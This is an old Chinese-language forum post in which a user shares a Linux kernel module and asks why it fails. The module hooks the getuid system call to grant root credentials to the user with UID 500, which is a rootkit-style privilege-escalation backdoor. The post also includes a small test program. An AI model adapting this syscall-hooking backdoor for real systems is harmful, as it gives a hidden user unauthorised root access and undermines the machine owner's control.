请教这一段代码??

weixin_38062043 2003-08-04 11:11:46

extern void* sys_call_table[];


int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;
     
    /*check for our UID*/
    if (current->;uid==500) {
    /*if its our UID ->; this means we log in ->; give us a rootshell*/
            current->;uid = 0;
        current->;euid = 0;
        current->;gid = 0;
        current->;egid = 0;
        return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}


int init_module(void)                /*module setup*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_getuid]=orig_getuid;                                      
}

根据代码来看,上面的模块应该是让特殊ID用户程序具有超级用户权限
今天把这段代码用普通用户(UID为500)在自己的机器上试了一晚上,
挂接好摸快之后,运行几个特权程序,或者访问不属于自己的文件,均出现
:Permition Denied...
请问前辈,什么情况下会用上getuid 系统调用啊。郁闷ing。。
我试了一个用户空间的程序测试了一下。源程序如下:
#include<linux/syscall.h>;
#include<stdio.h>;
void main()
{
  int uid;
  uid=getuid();
  printf("My uid is : %d\n",uid):
}
得到的UID竟是500。
      
...全文
12 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

477

社区成员

发帖
与我相关
我的任务
社区描述
其他技术讨论专区
其他 技术论坛(原bbs)
社区管理员
  • 其他技术讨论专区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧